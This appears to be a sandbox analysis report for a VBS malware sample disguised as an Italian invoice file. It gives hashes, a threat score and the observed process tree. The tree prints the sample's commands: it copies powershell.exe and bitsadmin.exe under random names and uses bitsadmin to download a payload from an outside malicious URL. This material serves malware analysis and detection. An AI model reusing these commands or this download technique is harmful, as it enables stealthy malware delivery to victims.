8142eca2250b41845205d1c4f29044bc6d242268b298a8f847b0df172b75cee7 | Triage

Analysis

max time kernel
114s
max time network
120s
platform
windows7_x64
resource
win7
submitted
13-07-2020 07:26

Sharing

Report Analysis Logs

General

Target

Fatt_cliente_SNTMNL74M55F241X.vbs
Size

4KB
MD5

2eb8c68f27a7ff985757192027ce6319
SHA1

2ec0f7f295244a5db246edbb1091325038069fa8
SHA256

8142eca2250b41845205d1c4f29044bc6d242268b298a8f847b0df172b75cee7
SHA512

94519489cdf29f8c8d26021d71339e35e10419cd22f5aaba06a9a6969d73a36e1520d472be60520cb7da0ba95d902dc2fe79e5de4a469944565be16da479e123

Score

8^/10

Malware Config

Signatures

Suspicious use of WriteProcessMemory 10 IoCs

Processes:

WScript.exe

description	pid	process	target process
PID 1316 wrote to memory of 1464	1316	WScript.exe	cmd.exe
PID 1316 wrote to memory of 1464	1316	WScript.exe	cmd.exe
PID 1316 wrote to memory of 1464	1316	WScript.exe	cmd.exe
PID 1316 wrote to memory of 108	1316	WScript.exe	cmd.exe
PID 1316 wrote to memory of 108	1316	WScript.exe	cmd.exe
PID 1316 wrote to memory of 108	1316	WScript.exe	cmd.exe
PID 1316 wrote to memory of 756	1316	WScript.exe	fObzKOv.exe
PID 1316 wrote to memory of 756	1316	WScript.exe	fObzKOv.exe
PID 1316 wrote to memory of 756	1316	WScript.exe	fObzKOv.exe
PID 1316 wrote to memory of 756	1316	WScript.exe	fObzKOv.exe

Executes dropped EXE 1 IoCs

Processes:

fObzKOv.exe

pid process

756 fObzKOv.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Fatt_cliente_SNTMNL74M55F241X.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:1316

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c copy /Z c:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Roaming\zfObzKOv.exe
2⤵
PID:1464

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c copy /Z c:\Windows\SysWOW64\bitsadmin.exe C:\Users\Admin\AppData\Roaming\fObzKOv.exe
2⤵
PID:108

C:\Users\Admin\AppData\Roaming\fObzKOv.exe
"C:\Users\Admin\AppData\Roaming\fObzKOv.exe" /transfer AlOCkv /download https://mzgotech.com/temha/SNTMNL74M55F241X/map.jpg C:\Users\Admin\AppData\Roaming\map.jpg
2⤵
- Executes dropped EXE
PID:756

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Roaming\fObzKOv.exe

Download Submit
C:\Users\Admin\AppData\Roaming\fObzKOv.exe

Download Submit
memory/108-1-0x0000000000000000-mapping.dmp

Download
memory/756-3-0x0000000000000000-mapping.dmp

Download
memory/1464-0-0x0000000000000000-mapping.dmp

Download